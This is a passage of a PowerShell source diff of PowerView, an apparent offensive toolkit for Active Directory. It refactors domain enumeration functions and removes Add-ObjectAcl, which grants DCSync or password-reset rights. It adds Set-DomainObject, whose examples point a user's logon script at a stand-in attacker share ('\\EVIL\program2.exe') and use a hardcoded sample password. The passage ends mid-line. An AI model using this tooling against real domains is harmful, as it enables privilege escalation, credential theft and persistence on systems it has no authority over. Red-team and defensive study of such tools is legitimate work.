$SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $CompSearcher = Get-DomainSearcher @SearcherArguments } - process { + PROCESS { + if ($CompSearcher) { - if ($Searcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + else { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } - if($SamAccountName) { - $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" + if ($PSBoundParameters['Unconstrained']) { + Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' } - else { - $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['Printers']) { + Write-Verbose '[Get-DomainComputer] Searching for printers' + $Filter += '(objectCategory=printQueue)' + } + if ($PSBoundParameters['SPN']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" + } + if ($PSBoundParameters['OperatingSystem']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" + $Filter += "(operatingsystem=$OperatingSystem)" + } + if ($PSBoundParameters['ServicePack']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" + $Filter += "(operatingsystemservicepack=$ServicePack)" + } + if ($PSBoundParameters['SiteName']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" + $Filter += "(serverreferencebl=$SiteName)" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" } - - try { - $Results = $Searcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Object = [adsi]($_.path) - if($Object.distinguishedname) { - $Access = $Object.PsBase.ObjectSecurity.access - $Access | ForEach-Object { - $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" + Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" - if($Object.objectsid[0]){ - $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value - } - else { - $S = $Null - } - - $_ | Add-Member NoteProperty 'ObjectSID' $S - $_ - } - } - } | ForEach-Object { - if($RightsFilter) { - $GuidFilter = Switch ($RightsFilter) { - "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } - "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } - Default { "00000000-0000-0000-0000-000000000000"} - } - if($_.ObjectType -eq $GuidFilter) { $_ } + if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } + else { $Results = $CompSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Up = $True + if ($PSBoundParameters['Ping']) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname + } + if ($Up) { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Computer = $_ + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') } else { - $_ + $Computer = Convert-LDAPProperty -Properties $_.Properties + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') } - } | ForEach-Object { - if($GUIDs) { - # if we're resolving GUIDs, map them them to the resolved hash table - $AclProperties = @{} - $_.psobject.properties | ForEach-Object { - if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) { - try { - $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()] - } - catch { - $AclProperties[$_.Name] = $_.Value - } - } - else { - $AclProperties[$_.Name] = $_.Value - } - } - New-Object -TypeName PSObject -Property $AclProperties - } - else { $_ } + $Computer } - $Results.dispose() - $Searcher.dispose() } - catch { - Write-Warning $_ + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" + } } + $CompSearcher.dispose() } } } -function Add-ObjectAcl { +function Get-DomainObject { <# - .SYNOPSIS +.SYNOPSIS - Adds an ACL for a specific active directory object. - - AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3) - https://adsecurity.org/?p=1906 +Return all (or specified) domain objects in AD. - ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName - 'ResetPassword' doesn't need to know the user's current password - 'WriteMembers' allows for the modification of group membership +.DESCRIPTION - .PARAMETER TargetSamAccountName +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all objects for +the current domain are returned. - Target object name to filter for. +.PARAMETER Identity - .PARAMETER TargetName +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. - Target object name to filter for. +.PARAMETER Domain - .PARAMETER TargetDistinguishedName +Specifies the domain to use for the query, defaults to the current domain. - Target object distinguished name to filter for. +.PARAMETER LDAPFilter - .PARAMETER TargetFilter +Specifies an LDAP query string that is used to filter Active Directory objects. - A customized ldap filter string to use to find a target, e.g. "(description=*admin*)" +.PARAMETER Properties - .PARAMETER TargetADSpath +Specifies the properties of the output object to retrieve from the server. - The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +.PARAMETER SearchBase - .PARAMETER TargetADSprefix +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - Prefix to set for the target searcher (like "CN=Sites,CN=Configuration") +.PARAMETER Server - .PARAMETER PrincipalSID +Specifies an Active Directory server (domain controller) to bind to. - The SID of the principal object to add for access. +.PARAMETER SearchScope - .PARAMETER PrincipalName +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - The name of the principal object to add for access. +.PARAMETER ResultPageSize - .PARAMETER PrincipalSamAccountName +Specifies the PageSize to set for the LDAP searcher object. - The samAccountName of the principal object to add for access. +.PARAMETER ServerTimeLimit - .PARAMETER Rights +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync" +.PARAMETER SecurityMasks - .PARAMETER Domain +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - The domain to use for the target query, defaults to the current domain. +.PARAMETER Tombstone - .PARAMETER DomainController +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - Domain controller to reflect LDAP queries through. +.PARAMETER FindOne - .PARAMETER PageSize +Only return one result object. - The PageSize to set for the LDAP searcher object. +.PARAMETER Credential - .EXAMPLE +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john +.PARAMETER Raw - Grants 'john' all full access rights to the 'matt' account. +Switch. Return raw results instead of translating the fields into a custom PSObject. - .EXAMPLE +.EXAMPLE - Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword +Get-DomainObject -Domain testlab.local - Grants 'john' the right to reset the password for the 'matt' account. +Return all objects for the testlab.local domain - .LINK +.EXAMPLE - https://adsecurity.org/?p=1906 - - https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell -#> +'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname - [CmdletBinding()] - Param ( - [String] - $TargetSamAccountName, +distinguishedname +----------------- +CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local +CN=dfm,CN=Users,DC=testlab,DC=local +OU=OU3,DC=testlab,DC=local +CN=dfm (admin),CN=Users,DC=testlab,DC=local - [String] - $TargetName = "*", +.EXAMPLE - [Alias('DN')] - [String] - $TargetDistinguishedName = "*", +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObject -Credential $Cred -Identity 'windows1' - [String] - $TargetFilter, +.EXAMPLE - [String] - $TargetADSpath, +Get-Domain | Select-Object -Expand name +testlab.local - [String] - $TargetADSprefix, +'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) - [String] - [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')] - $PrincipalSID, +distinguishedname +----------------- +CN=harmj0y,CN=Users,DC=testlab,DC=local +VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins))) +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local - [String] - $PrincipalName, +.OUTPUTS + +PowerView.ADObject + +Custom PSObject with translated AD object property fields. + +PowerView.ADObject.Raw +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.ADObject')] + [OutputType('PowerView.ADObject.Raw')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] [String] - $PrincipalSamAccountName, + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - [ValidateSet("All","ResetPassword","WriteMembers","DCSync")] - $Rights = "All", + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $RightsGUID, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $Domain, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $DomainController, + $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200 - ) - - begin { - $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize + $ResultPageSize = 200, - if($PrincipalSID) { - $ResolvedPrincipalSID = $PrincipalSID - } - else { - $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize - - if(!$Principal) { - throw "Error resolving principal" - } - $ResolvedPrincipalSID = $Principal.objectsid - } - if(!$ResolvedPrincipalSID) { - throw "Error resolving principal" - } - } + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - process { + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, - if ($Searcher) { + [Switch] + $Tombstone, - if($TargetSamAccountName) { - $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" - } - else { - $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" - } - - try { - $Results = $Searcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { + [Alias('ReturnOne')] + [Switch] + $FindOne, - # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - $TargetDN = $_.Properties.distinguishedname + [Switch] + $Raw + ) - $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID) - $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None" - $ControlType = [System.Security.AccessControl.AccessControlType] "Allow" - $ACEs = @() + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } - if($RightsGUID) { - $GUIDs = @($RightsGUID) - } - else { - $GUIDs = Switch ($Rights) { - # ResetPassword doesn't need to know the user's current password - "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } - # allows for the modification of group membership - "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } - # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 - # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 - # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c - # when applied to a domain's ACL, allows for the use of DCSync - "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"} - } + PROCESS { + if ($ObjectSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $ObjectName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$ObjectName)" + $SearcherArguments['Domain'] = $ObjectDomain + Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" + $ObjectSearcher = Get-DomainSearcher @SearcherArguments } + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } - if($GUIDs) { - foreach($GUID in $GUIDs) { - $NewGUID = New-Object Guid $GUID - $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight" - $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType - } - } - else { - # deault to GenericAll rights - $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll" - $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType - } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } - Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)" + if ($Filter -and $Filter -ne '') { + $ObjectSearcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)" - try { - # add all the new ACEs to the specified object - ForEach ($ACE in $ACEs) { - Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)" - $Object = [adsi]($_.path) - $Object.PsBase.ObjectSecurity.AddAccessRule($ACE) - $Object.PsBase.commitchanges() - } - } - catch { - Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_" - } + if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } + else { $Results = $ObjectSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') } - $Results.dispose() - $Searcher.dispose() + $Object } - catch { - Write-Warning "Error: $_" + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" + } } + $ObjectSearcher.dispose() } } } -function Invoke-ACLScanner { +function Set-DomainObject { <# - .SYNOPSIS - Searches for ACLs for specifable AD objects (default to all domain objects) - with a domain sid of > -1000, and have modifiable rights. +.SYNOPSIS + +Modifies a gven property for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Splats user/object targeting parameters to Get-DomainObject, returning the raw +searchresult object. Retrieves the raw directoryentry for the object, and sets +any values from -Set @{}, XORs any values from -XOR @{}, and clears any values +from -Clear @(). + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Set + +Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values. - Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. +.PARAMETER XOR - .PARAMETER SamAccountName +Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values. - Object name to filter for. +.PARAMETER Clear - .PARAMETER Name +Specifies an array of object properties that will be cleared in the directory. - Object name to filter for. +.PARAMETER Domain - .PARAMETER DistinguishedName +Specifies the domain to use for the query, defaults to the current domain. - Object distinguished name to filter for. +.PARAMETER LDAPFilter - .PARAMETER Filter +Specifies an LDAP query string that is used to filter Active Directory objects. - A customized ldap filter string to use, e.g. "(description=*admin*)" - - .PARAMETER ADSpath +.PARAMETER SearchBase - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .PARAMETER ADSprefix +.PARAMETER Server - Prefix to set for the searcher (like "CN=Sites,CN=Configuration") +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER Domain +.PARAMETER SearchScope - The domain to use for the query, defaults to the current domain. +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER DomainController +.PARAMETER ResultPageSize - Domain controller to reflect LDAP queries through. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER ResolveGUIDs +.PARAMETER ServerTimeLimit - Switch. Resolve GUIDs to their display names. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER PageSize +.PARAMETER Tombstone - The PageSize to set for the LDAP searcher object. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .EXAMPLE +.PARAMETER Credential - PS C:\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - Enumerate all modifable ACLs in the current domain, resolving GUIDs to display - names, and export everything to a .csv +.EXAMPLE + +Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: +(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y +VERBOSE: Setting countrycode to 1234 for object harmj0y +VERBOSE: Get-DomainSearcher search string: +LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser +VERBOSE: Setting countrycode to 1234 for object testuser + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose + +Cleares the 'department' field for both object identities. + +.EXAMPLE + +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose + +Name Value +---- ----- +NORMAL_ACCOUNT 512 + + +Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser' + +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser -Identity testuser -Properties scriptpath + +scriptpath +---------- +\\primary\sysvol\blah.ps1 + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser' + +Get-DomainUser -Identity testuser -Properties scriptpath + +scriptpath +---------- +\\EVIL\program2.exe #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $SamAccountName, + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, - [String] - $Name = "*", + [ValidateNotNullOrEmpty()] + [Alias('Reaplce')] + [Hashtable] + $Set, - [Alias('DN')] - [String] - $DistinguishedName = "*", + [ValidateNotNullOrEmpty()] + [Hashtable] + $XOR, + [ValidateNotNullOrEmpty()] + [String[]] + $Clear, + + [ValidateNotNullOrEmpty()] [String] - $Filter, + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $ADSpath, + $LDAPFilter, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $ADSprefix, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $Domain, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $DomainController, + $SearchScope = 'Subtree', - [Switch] - $ResolveGUIDs, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200 + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # Get all domain ACLs with the appropriate parameters - Get-ObjectACL @PSBoundParameters | ForEach-Object { - # add in the translated SID for the object identity - $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value) - $_ - } | Where-Object { - # check for any ACLs with SIDs > -1000 - try { - # TODO: change this to a regex for speedup? - [int]($_.IdentitySid.split("-")[-1]) -ge 1000 + BEGIN { + $SearcherArguments = @{'Raw' = $True} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + # splat the appropriate arguments to Get-DomainObject + $RawObject = Get-DomainObject @SearcherArguments + + ForEach ($Object in $RawObject) { + + $Entry = $RawObject.GetDirectoryEntry() + + if($PSBoundParameters['Set']) { + try { + $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object { + Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'" + $Entry.put($_.Name, $_.Value) + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + if($PSBoundParameters['XOR']) { + try { + $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object { + $PropertyName = $_.Name + $PropertyXorValue = $_.Value + Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'" + $TypeName = $Entry.$PropertyName[0].GetType().name + + # UAC value references- https://support.microsoft.com/en-us/kb/305144 + $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue + $Entry.$PropertyName = $PropertyValue -as $TypeName + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : 